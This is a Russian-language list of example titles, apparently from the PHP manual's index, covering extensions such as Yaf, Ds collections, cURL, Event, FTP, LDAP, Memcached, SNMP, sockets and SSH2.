  • Example#4033 - Пример использования Yaf_Route_Static(маршрут по умолчанию)
  • Example#4034 - Пример использования application.ini
  • Example#4035 - Пример использования Yaf_Dispatcher::autoConfig
  • Example#4036 - Пример использования Yaf_Dispatcher::autoRender
  • Example#4037 - Регистрация некоторых маршрутов в Bootstrap
  • Example#4038 - Плагин Dummy.php (в application.directory/plugins)
  • Example#4039 - Пример использования Yaf_Route_Simple::assemble
  • Example#4040 - Пример использования Yaf_Route_Simple::route
  • Example#4041 - Пример использования Yaf_Route_Simple::route
  • Example#4042 - Пример использования Yaf_Route_Static::assemble
  • Example#4043 - Пример использования Yaf_Route_Static::route
  • Example#4044 - Пример использования Yaf_Route_Supervar::assemble
  • Example#4045 - Пример использования Yaf_Route_Supervar
  • Example#4046 - Пример INI
  • Example#4047 - Пример INI с разделами
  • Example#4048 - Пример INI
  • Example#4049 - Пример использования Taint
  • Example#4050 - Vector
  • Example#4051 - Map
  • Example#4052 - Пример Ds\Collection::clear
  • Example#4053 - Пример Ds\Collection::copy
  • Example#4054 - Пример Ds\Collection::isEmpty
  • Example#4055 - Пример использования метода Ds\Collection::toArray
  • Example#4056 - Пример использованияDs\Hashable::hash
  • Example#4057 - Пример использования Ds\Sequence::allocate
  • Example#4058 - Пример использования Ds\Sequence::apply
  • Example#4059 - Пример использования Ds\Sequence::capacity
  • Example#4060 - Пример использования Ds\Sequence::contains
  • Example#4061 - Пример использования Ds\Sequence::filter с callback-функцией
  • Example#4062 - Пример использования Ds\Sequence::filter без callback-функции
  • Example#4063 - Пример использования Ds\Sequence::find
  • Example#4064 - Пример использования Ds\Sequence::first
  • Example#4065 - Пример использования Ds\Sequence::get
  • Example#4066 - Пример использования Ds\Sequence::get с синтаксисом массива
  • Example#4067 - Пример использования Ds\Sequence::insert
  • Example#4068 - Пример использования Ds\Sequence::join с разделителем
  • Example#4069 - Пример использования Ds\Sequence::join без разделителя
  • Example#4070 - Пример использования Ds\Sequence::last
  • Example#4071 - Пример использования Ds\Sequence::map
  • Example#4072 - Пример использования Ds\Sequence::merge
  • Example#4073 - Пример использования Ds\Sequence::pop
  • Example#4074 - Пример использования Ds\Sequence::push
  • Example#4075 - Пример использования Ds\Sequence::reduce с начальным значением
  • Example#4076 - Пример использования Ds\Sequence::reduce без начального значения
  • Example#4077 - Пример использования Ds\Sequence::remove
  • Example#4078 - Пример использования Ds\Sequence::reverse
  • Example#4079 - Пример использования Ds\Sequence::reversed
  • Example#4080 - Пример использования Ds\Sequence::rotate
  • Example#4081 - Пример использования Ds\Sequence::set
  • Example#4082 - Пример использования Ds\Sequence::set с синтаксисом массива
  • Example#4083 - Пример использования Ds\Sequence::shift
  • Example#4084 - Пример использования Ds\Sequence::slice
  • Example#4085 - Пример использования Ds\Sequence::sort
  • Example#4086 - Пример использования Ds\Sequence::sort с callback-функцией сравнения
  • Example#4087 - Пример использования Ds\Sequence::sorted
  • Example#4088 - Пример использования Ds\Sequence::sorted с callback-функцией сравнения
  • Example#4089 - Пример использования Ds\Sequence::sum с целочисленными значениями
  • Example#4090 - Пример использования Ds\Sequence::sum со значениями типа float
  • Example#4091 - Пример использования Ds\Sequence::unshift
  • Example#4092 - Пример использования Ds\Vector::allocate
  • Example#4093 - Пример использования Ds\Vector::apply
  • Example#4094 - Пример использования Ds\Vector::capacity
  • Example#4095 - Пример использования Ds\Vector::clear
  • Example#4096 - Пример использования Ds\Vector::__construct
  • Example#4097 - Пример использования Ds\Vector::contains
  • Example#4098 - Пример использования Ds\Vector::copy
  • Example#4099 - Пример Ds\Vector::filter с использованием callback-функции
  • Example#4100 - Пример Ds\Vector::filter без callback-функции
  • Example#4101 - Пример использования Ds\Vector::find
  • Example#4102 - Пример использования Ds\Vector::first
  • Example#4103 - Пример использования Ds\Vector::get
  • Example#4104 - Пример использования Ds\Vector::get с синтаксисом массива
  • Example#4105 - Пример использования Ds\Vector::insert
  • Example#4106 - Пример использования Ds\Vector::isEmpty
  • Example#4107 - Пример использования Ds\Vector::join с разделителем
  • Example#4108 - Пример использования Ds\Vector::join без разделителя
  • Example#4109 - Пример использования Ds\Vector::last
  • Example#4110 - Пример использования Ds\Vector::map
  • Example#4111 - Пример использования Ds\Vector::merge
  • Example#4112 - Пример использования Ds\Vector::pop
  • Example#4113 - Пример использования Ds\Vector::push
  • Example#4114 - Пример использования Ds\Vector::reduce с начальным значением
  • Example#4115 - Пример использования Ds\Vector::reduce без начального значения
  • Example#4116 - Пример использования Ds\Vector::remove
  • Example#4117 - Пример использования Ds\Vector::reverse
  • Example#4118 - Пример использования Ds\Vector::reversed
  • Example#4119 - Пример использования Ds\Vector::rotate
  • Example#4120 - Пример использования Ds\Vector::set
  • Example#4121 - Пример использования Ds\Vector::set с синтаксисом массива
  • Example#4122 - Пример использования Ds\Vector::shift
  • Example#4123 - Пример использования Ds\Vector::slice
  • Example#4124 - Пример использования Ds\Vector::sort
  • Example#4125 - Пример использования Ds\Vector::sort с callback-функцией сравнения
  • Example#4126 - Пример использования Ds\Vector::sorted
  • Example#4127 - Пример использования Ds\Vector::sorted с callback-функцией сравнения
  • Example#4128 - Пример использования Ds\Vector::sum с целочисленными значениями
  • Example#4129 - Пример использования Ds\Vector::sum со значениями типа float
  • Example#4130 - Пример использования метода Ds\Vector::toArray
  • Example#4131 - Пример использования Ds\Vector::unshift
  • Example#4132 - Пример использования Ds\Deque::allocate
  • Example#4133 - Пример использования Ds\Deque::apply
  • Example#4134 - Пример использования Ds\Deque::capacity
  • Example#4135 - Пример использования Ds\Deque::clear
  • Example#4136 - Пример использования Ds\Deque::__construct
  • Example#4137 - Пример использования Ds\Deque::contains
  • Example#4138 - Пример использования Ds\Deque::copy
  • Example#4139 - Пример Ds\Deque::filter с использованием callback-функции
  • Example#4140 - Пример Ds\Deque::filter без callback-функции
  • Example#4141 - Пример использования Ds\Deque::find
  • Example#4142 - Пример использования Ds\Deque::first
  • Example#4143 - Пример использования Ds\Deque::get
  • Example#4144 - Пример использования Ds\Deque::get с синтаксисом массива
  • Example#4145 - Пример использования Ds\Deque::insert
  • Example#4146 - Пример использования Ds\Deque::isEmpty
  • Example#4147 - Пример использования Ds\Deque::join с разделителем
  • Example#4148 - Пример использования Ds\Deque::join без разделителя
  • Example#4149 - Пример использования Ds\Deque::last
  • Example#4150 - Пример использования Ds\Deque::map
  • Example#4151 - Пример использования Ds\Deque::merge
  • Example#4152 - Пример использования Ds\Deque::pop
  • Example#4153 - Пример использования Ds\Deque::push
  • Example#4154 - Пример использования Ds\Deque::reduce с начальным значением
  • Example#4155 - Пример использования Ds\Deque::reduce без начального значения
  • Example#4156 - Пример использования Ds\Deque::remove
  • Example#4157 - Пример использования Ds\Deque::reverse
  • Example#4158 - Пример использования Ds\Deque::reversed
  • Example#4159 - Пример использования Ds\Deque::rotate
  • Example#4160 - Пример использования Ds\Deque::set
  • Example#4161 - Пример использования Ds\Deque::set с синтаксисом массива
  • Example#4162 - Пример использования Ds\Deque::shift
  • Example#4163 - Пример использования Ds\Deque::slice
  • Example#4164 - Пример использования Ds\Deque::sort
  • Example#4165 - Пример использования Ds\Deque::sort с callback-функцией сравнения
  • Example#4166 - Пример использования Ds\Deque::sorted
  • Example#4167 - Пример использования Ds\Deque::sorted с callback-функцией сравнения
  • Example#4168 - Пример использования Ds\Deque::sum с целочисленными значениями
  • Example#4169 - Пример использования Ds\Deque::sum со значениями типа float
  • Example#4170 - Пример использования метода Ds\Deque::toArray
  • Example#4171 - Пример использования Ds\Deque::unshift
  • Example#4172 - Пример использования Ds\Map::allocate
  • Example#4173 - Пример использования Ds\Map::apply
  • Example#4174 - Пример использования Ds\Map::capacity
  • Example#4175 - Пример использования Ds\Map::clear
  • Example#4176 - Пример использования Ds\Map::__construct
  • Example#4177 - Пример использования Ds\Map::copy
  • Example#4178 - Пример использования Ds\Map::diff
  • Example#4179 - Пример Ds\Map::filter с использованием callback-функции
  • Example#4180 - Пример Ds\Map::filter без callback-функции
  • Example#4181 - Пример использования Ds\Map::first
  • Example#4182 - Пример использования Ds\Map::get
  • Example#4183 - Пример использования Ds\Map::get с синтаксисом массива
  • Example#4184 - Пример использования Ds\Map::hasKey
  • Example#4185 - Пример использования Ds\Map::hasValue
  • Example#4186 - Пример использования Ds\Map::intersect
  • Example#4187 - Пример использования Ds\Map::isEmpty
  • Example#4188 - Пример использования Ds\Map::keys
  • Example#4189 - Пример использования Ds\Map::ksort
  • Example#4190 - Пример использования Ds\Map::ksort с callback-функцией сравнения
  • Example#4191 - Пример использования Ds\Map::ksorted
  • Example#4192 - Пример использования Ds\Map::ksorted с callback-функцией сравнения
  • Example#4193 - Пример использования Ds\Map::last
  • Example#4194 - Пример использования Ds\Map::map
  • Example#4195 - Пример использования Ds\Map::merge
  • Example#4196 - Пример использования Ds\Map::pairs
  • Example#4197 - Пример использования Ds\Map::put
  • Example#4198 - Пример использования Ds\Map::put с объектами в качестве ключей
  • Example#4199 - Пример использования Ds\Map::putAll
  • Example#4200 - Пример использования Ds\Map::reduce с начальным значением
  • Example#4201 - Пример использования Ds\Map::reduce без начального значения
  • Example#4202 - Пример использования Ds\Map::remove
  • Example#4203 - Пример использования Ds\Map::reverse
  • Example#4204 - Пример использования Ds\Map::reversed
  • Example#4205 - Пример использования Ds\Map::skip
  • Example#4206 - Пример использования Ds\Map::slice
  • Example#4207 - Пример использования Ds\Map::sort
  • Example#4208 - Пример использования Ds\Map::sort с callback-функцией сравнения
  • Example#4209 - Пример использования Ds\Map::sort
  • Example#4210 - Пример использования Ds\Map::sort с callback-функцией сравнения
  • Example#4211 - Пример использования Ds\Map::sum с целочисленными значениями
  • Example#4212 - Пример использования Ds\Map::sum со значениями типа float
  • Example#4213 - Пример использования метода Ds\Map::toArray
  • Example#4214 - Пример использования Ds\Map::union
  • Example#4215 - Пример использования Ds\Map::values
  • Example#4216 - Пример использования Ds\Map::xor
  • Example#4217 - Пример использования Ds\Pair::clear
  • Example#4218 - Пример использования Ds\Pair::copy
  • Example#4219 - Пример использования Ds\Pair::isEmpty
  • Example#4220 - Пример использования Ds\Pair::toArray
  • Example#4221 - Пример использования Ds\Set::add со скалярными значениями
  • Example#4222 - Пример использования Ds\Set::add с объектами
  • Example#4223 - Пример использования Ds\Set::allocate
  • Example#4224 - Пример использования Ds\Set::capacity
  • Example#4225 - Пример использования Ds\Set::clear
  • Example#4226 - Пример использования Ds\Set::__construct
  • Example#4227 - Пример использования Ds\Set::contains
  • Example#4228 - Пример использования Ds\Set::copy
  • Example#4229 - Пример использованияDs\Set::diff
  • Example#4230 - Пример Ds\Set::filter с использованием callback-функции
  • Example#4231 - Пример Ds\Set::filter без callback-функции
  • Example#4232 - Пример использования Ds\Set::first
  • Example#4233 - Пример использования Ds\Set::get
  • Example#4234 - Пример использования Ds\Set::get с синтаксисом массива
  • Example#4235 - Пример использования Ds\Set::intersect
  • Example#4236 - Пример использования Ds\Set::isEmpty
  • Example#4237 - Пример использования Ds\Set::join с разделителем
  • Example#4238 - Пример использования Ds\Set::join без разделителя
  • Example#4239 - Пример использования Ds\Set::last
  • Example#4240 - Пример использования Ds\Set::merge
  • Example#4241 - Пример использования Ds\Set::reduce с начальным значением
  • Example#4242 - Пример использования Ds\Set::reduce без начального значения
  • Example#4243 - Пример использования Ds\Set::remove
  • Example#4244 - Пример использования Ds\Set::reverse
  • Example#4245 - Пример использования Ds\Set::reversed
  • Example#4246 - Пример использования Ds\Set::slice
  • Example#4247 - Пример использования Ds\Set::sort
  • Example#4248 - Пример использования Ds\Set::sort с callback-функцией сравнения
  • Example#4249 - Пример использования Ds\Set::sorted
  • Example#4250 - Пример использования Ds\Set::sorted с callback-функцией сравнения
  • Example#4251 - Пример использования Ds\Set::sum с целочисленными значениями
  • Example#4252 - Пример использования Ds\Set::sum со значениями типа float
  • Example#4253 - Пример использования метода Ds\Set::toArray
  • Example#4254 - Пример использования Ds\Set::union
  • Example#4255 - Пример использования Ds\Set::xor
  • Example#4256 - Пример использования Ds\Stack::clear
  • Example#4257 - Пример использования Ds\Stack::__construct
  • Example#4258 - Пример использования Ds\Stack::copy
  • Example#4259 - Пример использования Ds\Stack::isEmpty
  • Example#4260 - Пример использования Ds\Stack::peek
  • Example#4261 - Пример использования Ds\Stack::pop
  • Example#4262 - Пример использования Ds\Stack::push
  • Example#4263 - Пример использования метода Ds\Stack::toArray
  • Example#4264 - Пример использования Ds\Queue::allocate
  • Example#4265 - Пример использования Ds\Queue::capacity
  • Example#4266 - Пример использования Ds\Queue::clear
  • Example#4267 - Пример использования Ds\Queue::__construct
  • Example#4268 - Пример использования Ds\Queue::copy
  • Example#4269 - Пример использования Ds\Queue::isEmpty
  • Example#4270 - Пример использования Ds\Queue::peek
  • Example#4271 - Пример использования Ds\Queue::pop
  • Example#4272 - Пример использования Ds\Queue::push
  • Example#4273 - Пример использования метода Ds\Queue::toArray
  • Example#4274 - Пример использования Ds\PriorityQueue::allocate
  • Example#4275 - Пример использования Ds\PriorityQueue::capacity
  • Example#4276 - Пример использования Ds\PriorityQueue::clear
  • Example#4277 - Пример использования Ds\PriorityQueue::__construct
  • Example#4278 - Пример использования Ds\PriorityQueue::copy
  • Example#4279 - Пример использования Ds\PriorityQueue::isEmpty
  • Example#4280 - Пример использования Ds\PriorityQueue::peek
  • Example#4281 - Пример использования Ds\PriorityQueue::pop
  • Example#4282 - Пример использования Ds\PriorityQueue::push
  • Example#4283 - Пример использования Ds\PriorityQueue::toArray
  • Example#4284 - Пример использования var_representation
  • Example#4285 - Экранирование управляющих символов
  • Example#4286 - Экспорт stdClass
  • Example#4287 - Экспортирование классов
  • Example#4288 - Пример использования __set_state()
  • Example#4289 - Использование модуля cURL для сохранения стартовой страницы example.com
  • Example#4290 - Инициализация сеанса cURL и загрузка веб-страницы
  • Example#4291 - Копирование дескриптора cURL
  • Example#4292 - Пример использования curl_errno
  • Example#4293 - Пример использования curl_error
  • Example#4294 - Пример использования curl_escape
  • Example#4295 - Загрузка веб-страницы
  • Example#4296 - Пример использования функции curl_getinfo
  • Example#4297 - Пример использования функции curl_getinfo с параметром option
  • Example#4298 - Инициализация нового сеанса cURL и загрузка веб-страницы
  • Example#4299 - Пример использования curl_multi_add_handle
  • Example#4300 - Пример использования curl_multi_close
  • Example#4301 - Пример использования curl_multi_exec
  • Example#4302 - Пример использования curl_multi_info_read
  • Example#4303 - Пример использования curl_multi_init
  • Example#4304 - Пример использования curl_multi_strerror
  • Example#4305 - Пример использования curl_reset
  • Example#4306 - Инициализация новой сессии cURL и загрузка веб-страницы
  • Example#4307 - Инициализация сеанса CURL и загрузка веб-страницы
  • Example#4308 - Пример использования curl_share_setopt
  • Example#4309 - Пример использования curl_share_init
  • Example#4310 - Пример использования curl_share_setopt
  • Example#4311 - Пример использования curl_errno
  • Example#4312 - Пример использования curl_escape
  • Example#4313 - Пример использования curl_upkeep
  • Example#4314 - Пример использования curl_version
  • Example#4315 - Пример использования CURLFile::__construct
  • Example#4316 - Пример использования CURLFile::__construct для загрузки нескольких файлов
  • Example#4317 - Пример использования CURLStringFile::__construct
  • Example#4318 - Простой клиент HTTP
  • Example#4319 - HTTP клиент с асинхронным запросом к DNS
  • Example#4320 - Эхо-сервер
  • Example#4321 - SSL эхо-сервер
  • Example#4322 - Обработчик сигналов
  • Example#4323 - Использование цикла libevent для обработки запросов модуля `eio'
  • Example#4324 - Разное
  • Example#4325 - Простой HTTP-сервер
  • Example#4326 - Простой HTTPS-сервер
  • Example#4327 - OpenSSL соединение
  • Example#4328 - Пример использования EventHttpConnection::makeRequest
  • Example#4329 - Слушатель соединений на базе сокетов UNIX
  • Example#4330 - Простой SMTP-сервер
  • Example#4331 - Обработка сигнала SIGTERM
  • Example#4332 - Добавление пользовательского сигнала
  • Example#4333 - Добавление таймера
  • Example#4334 - Пример использования EventBase::getFeatures
  • Example#4335 - Пример использования EventBase::getMethod
  • Example#4336 - Пример использования EventBuffer::search
  • Example#4337 - Пример использования EventBufferEvent::connect
  • Example#4338 - Подключитесь к сокету домена UNIX, который предположительно обслуживается сервером, прочитайте ответ сервера и выведите его на консоль
  • Example#4339 - Пример использования EventBufferEvent::connectHost
  • Example#4340 - Callback-функция чтения буфера
  • Example#4341 - Пример использования EventBufferEvent::getOutput
  • Example#4342 - Пример использования EventBufferEvent::sslError
  • Example#4343 - Простой SMTP-сервер
  • Example#4344 - Пример использования EventConfig::avoidMethod
  • Example#4345 - Пример использования метода EventConfig::__construct
  • Example#4346 - Пример использования EventConfig::requireFeatures
  • Example#4347 - Пример использования EventHttp::accept
  • Example#4348 - Пример использования EventHttp::addServerAlias
  • Example#4349 - Пример использования EventHttp::bind
  • Example#4350 - Простой HTTP-сервер
  • Example#4351 - Пример использования EventHttp::setCallback
  • Example#4352 - Пример использования EventHttp::setDefaultCallback
  • Example#4353 - Пример использования EventHttpConnection::makeRequest
  • Example#4354 - Пример использования EventHttpConnection::setCloseCallback
  • Example#4355 - Пример использования метода EventHttpRequest::__construct
  • Example#4356 - Пример использования EventHttpRequest::sendError
  • Example#4357 - Пример использования метода EventListener::__construct
  • Example#4358 - Пример использования метода EventSslContext::__construct
  • Example#4359 - Пример использования FTP-функций
  • Example#4360 - Пример использования ftp_alloc
  • Example#4361 - Пример использования функции ftp_cdup
  • Example#4362 - Пример использования ftp_chdir
  • Example#4363 - Пример использования ftp_chmod
  • Example#4364 - Пример использования ftp_close
  • Example#4365 - Пример использования ftp_connect
  • Example#4366 - Пример использования ftp_delete
  • Example#4367 - Пример использования ftp_exec
  • Example#4368 - Пример использования ftp_fget
  • Example#4369 - Пример использования ftp_fput
  • Example#4370 - Пример использования ftp_get_option
  • Example#4371 - Пример использования ftp_get
  • Example#4372 - Пример использования ftp_login
  • Example#4373 - Пример использования ftp_mdtm
  • Example#4374 - Пример использования ftp_mkdir
  • Example#4375 - Пример использования ftp_mlsd
  • Example#4376 - Пример использования ftp_nb_continue
  • Example#4377 - Пример использования ftp_nb_fget
  • Example#4378 - Пример использования ftp_nb_fput
  • Example#4379 - Пример использования ftp_nb_get
  • Example#4380 - Возобновление скачивания файла с помощью ftp_nb_get
  • Example#4381 - Скачивание файла начиная с позиции 100 в новый файл с помощью ftp_nb_get
  • Example#4382 - Пример использования ftp_nb_put
  • Example#4383 - Возобновление загрузки файла с помощью ftp_nb_put
  • Example#4384 - Пример использования ftp_nlist
  • Example#4385 - Пример использования ftp_pasv
  • Example#4386 - Пример использования ftp_put
  • Example#4387 - Пример использования ftp_pwd
  • Example#4388 - Использование ftp_raw для входа на FTP-сервер
  • Example#4389 - Пример использования ftp_rawlist
  • Example#4390 - Пример использования функции ftp_rename
  • Example#4391 - Пример использования ftp_rmdir
  • Example#4392 - Пример использования ftp_set_option
  • Example#4393 - Отправка команды SITE FTP-серверу
  • Example#4394 - Пример использования ftp_size
  • Example#4395 - Пример использования функции ftp_ssl_connect
  • Example#4396 - Пример использования ftp_systype
  • Example#4397 - Базовый клиент и обработчик Gearman
  • Example#4398 - Базовый клиент и обработчик Gearman, фоновый режим
  • Example#4399 - Базовые клиент и обработчик Gearman, отправка задач
  • Example#4400 - Добавление двух серверов задач
  • Example#4401 - Добавление двух серверов задач
  • Example#4402 - Основное представление двух задач
  • Example#4403 - Основное представление двух задач с передачей контекста приложения
  • Example#4404 - Две задачи, одна в фоновом режиме, а другая нет
  • Example#4405 - Высокоприоритетная задача вместе с двумя обычными задачами
  • Example#4406 - Низкоприоритетная задача вместе с двумя обычными задачами
  • Example#4407 - Мониторинг завершения нескольких фоновых задач
  • Example#4408 - Простое представление задания с непосредственным возвратом
  • Example#4409 - Передача задания и получение инкрементного состояния
  • Example#4410 - Отправляет и отслеживает фоновое задание
  • Example#4411 - Выполнение простого задания с немедленным возвратом
  • Example#4412 - Отправка задания на обработку и мониторинг состояния
  • Example#4413 - Получение состояния выполнения долгого задания
  • Example#4414 - Мониторинг процесса обработки долго выполняющегося в фоновом режиме задания
  • Example#4415 - Простой обработчик использует дополнительные данные контекста приложения
  • Example#4416 - Добавление альтернативных Gearman серверов
  • Example#4417 - Добавление двух серверов заданий
  • Example#4418 - Пример использования GearmanWorker::setId
  • Example#4419 - Простой обработчик с пятисекундным временем ожидания
  • Example#4420 - Запуск обработчика в неблокирующем режиме
  • Example#4421 - Пример использования GearmanWorker::work
  • Example#4422 - Тестирование поддержки управления пагинацией результата
  • Example#4423 - Пример LDAP поиска
  • Example#4424 - Привязка с информацией policy
  • Example#4425 - Изменение описания, только если оно не пустое
  • Example#4426 - Чтение определённых значений перед удалением
  • Example#4427 - Удаление ссылки
  • Example#4428 - Использование пагинации для поиска
  • Example#4429 - Полный пример с проверкой подлинности привязки
  • Example#4430 - Пример использования привязки LDAP
  • Example#4431 - Использование анонимной привязки LDAP
  • Example#4432 - Полный пример проверки пароля
  • Example#4433 - Пример подключения к серверу LDAP.
  • Example#4434 - Пример безопасного подключения к серверу LDAP.
  • Example#4435 - Постраничная работа с LDAP
  • Example#4436 - Постраничная работа с LDAP
  • Example#4437 - Пример использования функции ldap_count_entries
  • Example#4438 - Перечисление всех сообщений об ошибках LDAP
  • Example#4439 - Генерирование и фиксация ошибки
  • Example#4440 - Поиск по email-адресу
  • Example#4441 - Расширенная операция PASSWD
  • Example#4442 - Расширенная операция Whoami
  • Example#4443 - Показывает список атрибутов, соответствующие определённой записи директории
  • Example#4444 - Проверка версии протокола
  • Example#4445 - Список всех значений атрибута "mail" для записи каталога
  • Example#4446 - Выводит список всех организационных единиц организации
  • Example#4447 - Добавление контакту телефонного номера
  • Example#4448 - Переименование пользователя
  • Example#4449 - Добавление пользователю двух e-mail адресов
  • Example#4450 - Изменение пароля пользователя
  • Example#4451 - Изменение пароля пользователя (Active Directory)
  • Example#4452 - Пример использования ldap_parse_result
  • Example#4453 - LDAP поиск
  • Example#4454 - Устанавливает версию протокола
  • Example#4455 - Устанавливает управление сервером
  • Example#4456 - Сортировка LDAP
  • Example#4457 - Пример использования модуля memcache
  • Example#4458 - Использование memcache в качестве обработчика сессий
  • Example#4459 - Пример использования Memcache::add
  • Example#4460 - Пример использования Memcache::addServer
  • Example#4461 - Пример использования Memcache::close
  • Example#4462 - Пример использования Memcache::connect
  • Example#4463 - Пример использования Memcache::decrement
  • Example#4464 - Пример использования Memcache::delete
  • Example#4465 - Пример использования Memcache::flush
  • Example#4466 - Пример использования Memcache::get
  • Example#4467 - Пример использования Memcache::getExtendedStats
  • Example#4468 - Пример использования Memcache::getServerStatus
  • Example#4469 - Пример использования Memcache::getVersion
  • Example#4470 - Пример использования Memcache::increment
  • Example#4471 - Пример использования Memcache::pconnect
  • Example#4472 - Пример использования Memcache::replace
  • Example#4473 - Пример использования Memcache::set
  • Example#4474 - Пример использования Memcache::set
  • Example#4475 - Пример использования Memcache::setCompressThreshold
  • Example#4476 - Пример использования Memcache::setServerParams
  • Example#4477 - Пример функции обратного вызова
  • Example#4478 - Пример использования
  • Example#4479 - Пример использования Memcached::addServer
  • Example#4480 - Пример использования Memcached::addServers
  • Example#4481 - Пример использования Memcached::append
  • Example#4482 - Пример использования Memcached::cas
  • Example#4483 - Создание экземпляра класса Memcached
  • Example#4484 - Пример использования Memcached::decrement
  • Example#4485 - Пример использования Memcached::delete
  • Example#4486 - Пример использования Memcached::fetch
  • Example#4487 - Пример использования Memcached::getDelayed
  • Example#4488 - Пример использования Memcached::flush
  • Example#4489 - Пример использования Memcached::get #1
  • Example#4490 - Пример использования Memcached::get #2
  • Example#4491 - Пример использования Memcached::getDelayed
  • Example#4492 - Пример использования Memcached::getMulti версии 3
  • Example#4493 - Пример использования Memcached::getMulti версий 1 и 2
  • Example#4494 - Пример использования Memcached::GET_PRESERVE_ORDER с версией 3
  • Example#4495 - Пример использования Memcached::GET_PRESERVE_ORDER с версией 1 и 2
  • Example#4496 - Получает значение Memcached параметра
  • Example#4497 - Пример использования Memcached::getResultCode
  • Example#4498 - Пример использования Memcached::getResultMessage
  • Example#4499 - Пример использования Memcached::getServerByKey
  • Example#4500 - Пример использования Memcached::getServerList
  • Example#4501 - Пример использования Memcached::getStats
  • Example#4502 - Пример использования Memcached::getVersion
  • Example#4503 - Пример использования Memcached::increment
  • Example#4504 - Пример использования Memcached::prepend
  • Example#4505 - Пример использования Memcached::set
  • Example#4506 - Пример использования Memcached::setByKey
  • Example#4507 - Пример использования Memcached::setMulti
  • Example#4508 - Устанавливает Memcached параметр
  • Example#4509 - Устанавливает несколько Memcached параметров
  • Example#4510 - Пример использования mqseries_back
  • Example#4511 - Пример использования mqseries_begin
  • Example#4512 - Пример использования mqseries_close
  • Example#4513 - Пример использования mqseries_cmit
  • Example#4514 - Пример использования mqseries_conn
  • Example#4515 - Пример использования mqseries_connx
  • Example#4516 - Пример использования mqseries_connx с использованием SSL и URL ответчика OCSP
  • Example#4517 - Пример использования mqseries_disc
  • Example#4518 - Пример использования mqseries_get
  • Example#4519 - Пример использования mqseries_inq
  • Example#4520 - Пример использования mqseries_open
  • Example#4521 - Пример использования mqseries_put
  • Example#4522 - Пример использования mqseries_strerror
  • Example#4523 - Пример использования dns_get_record
  • Example#4524 - Использование dns_get_record с DNS_ANY
  • Example#4525 - Пример использования fsockopen
  • Example#4526 - Использование UDP-соединения
  • Example#4527 - Простой пример использования gethostbyaddr
  • Example#4528 - Простой пример использования gethostbyname
  • Example#4529 - Пример использования функции gethostbynamel
  • Example#4530 - Пример использования gethostname
  • Example#4531 - Пример использования getprotobyname
  • Example#4532 - Пример использования getservbyname
  • Example#4533 - Пример использования header_register_callback
  • Example#4534 - Уничтожение определённого заголовка.
  • Example#4535 - Уничтожение всех ранее установленных заголовков.
  • Example#4536 - Диалог загрузки
  • Example#4537 - Директивы для работы с кешем
  • Example#4538 - Настройка cookie
  • Example#4539 - Пример использования headers_list
  • Example#4540 - Пример использования headers_sent
  • Example#4541 - Использование http_response_code в окружении веб-сервера
  • Example#4542 - Использование http_response_code в CLI
  • Example#4543 - Пример использования inet_ntop
  • Example#4544 - Пример использования inet_pton
  • Example#4545 - Пример использования ip2long
  • Example#4546 - Отображение IP-адресов
  • Example#4547 - Пример использования setcookie
  • Example#4548 - Пример удаления cookie посредством setcookie
  • Example#4549 - setcookie и массивы
  • Example#4550 - Пример использования syslog
  • Example#4551 - Использование rrd в процедурном стиле
  • Example#4552 - Использование rrd в объектно-ориентированном стиле
  • Example#4553 - Пример использования RRDGraph::setOptions
  • Example#4554 - Установка нескольких вариантов цветов
  • Example#4555 - Пример использования RRDUpdater::update
  • Example#4556 - Получение использованных функций
  • Example#4557 - Получение списка функций, которые scoutapm может использовать
  • Example#4558 - Пример использования snmp_get_quick_print
  • Example#4559 - Пример использования snmp_get_valueretrieval
  • Example#4560 - Пример использования snmp_read_mib
  • Example#4561 - Пример использования snmp_set_enum_print
  • Example#4562 - Пример использования snmprealwalk
  • Example#4563 - Пример использования snmp_set_quick_print
  • Example#4564 - Пример использования snmp_set_valueretrieval
  • Example#4565 - Пример использования snmp2_get
  • Example#4566 - Пример использования snmp2_get_next
  • Example#4567 - Пример использования snmp2_real_walk
  • Example#4568 - Пример использования snmp2_set
  • Example#4569 - Пример использования snmp2_set для установки BITS идентификатору объекта SNMP
  • Example#4570 - Пример использования snmp2_walk
  • Example#4571 - Пример использования snmp3_get
  • Example#4572 - Пример использования snmp3_getnext
  • Example#4573 - Пример использования snmp3_real_walk
  • Example#4574 - Пример использования snmp3_set
  • Example#4575 - Пример использования snmp3_set для установки BITS идентификатору объекта SNMP
  • Example#4576 - Пример использования snmp3_walk
  • Example#4577 - Пример использования snmpget
  • Example#4578 - Пример использования функции snmpgetnext
  • Example#4579 - Пример использования функция snmprealwalk
  • Example#4580 - Пример использования snmpset
  • Example#4581 - Пример использования snmpset для установки BITS идентификатору объекта SNMP
  • Example#4582 - Пример использования snmpwalk
  • Example#4583 - Пример использования snmpwalkoid
  • Example#4584 - Пример использования SNMP::close
  • Example#4585 - Получение sysLocation
  • Example#4586 - Одиночный объект SNMP
  • Example#4587 - Множественные объекты SNMP
  • Example#4588 - Пример использования SNMP::getErrno
  • Example#4589 - Пример использования SNMP::getError
  • Example#4590 - Одиночный объект SNMP
  • Example#4591 - Множественные объекты SNMP
  • Example#4592 - Установить одиночный идентификатор объекта SNMP
  • Example#4593 - Установить несколько значений с помощью одного вызова SNMP::set
  • Example#4594 - Использование SNMP::set для установки идентификатора объекта BITS SNMP
  • Example#4595 - Пример использования SNMP::setSecurity
  • Example#4596 - Пример использования SNMP::walk
  • Example#4597 - Пример использования suffixAsKey
  • Example#4598 - Пример использования сокетов: Простой сервер TCP/IP
  • Example#4599 - Пример использования сокетов: Простой клиент TCP/IP
  • Example#4600 - Пример использования функции socket_atmark для установки адреса отправителя
  • Example#4601 - Использование функции socket_bind для установки адреса источника
  • Example#4602 - Пример использования socket_create_pair
  • Example#4603 - Пример использования socket_create_pair в IPC
  • Example#4604 - Пример использования socket_get_option
  • Example#4605 - Пример использования socket_import_stream
  • Example#4606 - Пример использования socket_last_error
  • Example#4607 - Пример использования socket_recv
  • Example#4608 - Пример использования socket_recvfrom
  • Example#4609 - Использование null в socket_select
  • Example#4610 - Анализ результата socket_select
  • Example#4611 - Пример использования socket_select
  • Example#4612 - Пример использования socket_sendto
  • Example#4613 - Пример использованияsocket_set_block
  • Example#4614 - Пример использования socket_set_nonblock
  • Example#4615 - Пример использования socket_set_option
  • Example#4616 - Пример использования socket_strerror
  • Example#4617 - Аутентификация с помощью агента ssh
  • Example#4618 - Аутентификация по открытому ключу
  • Example#4619 - Извлечение списка доступных методов аутентификации
  • Example#4620 - Аутентификация с паролем
  • Example#4621 - Аутентификация с открытым ключом
  • Example#4622 - Пример ssh2_connect
  • Example#4623 - Выполнение команды
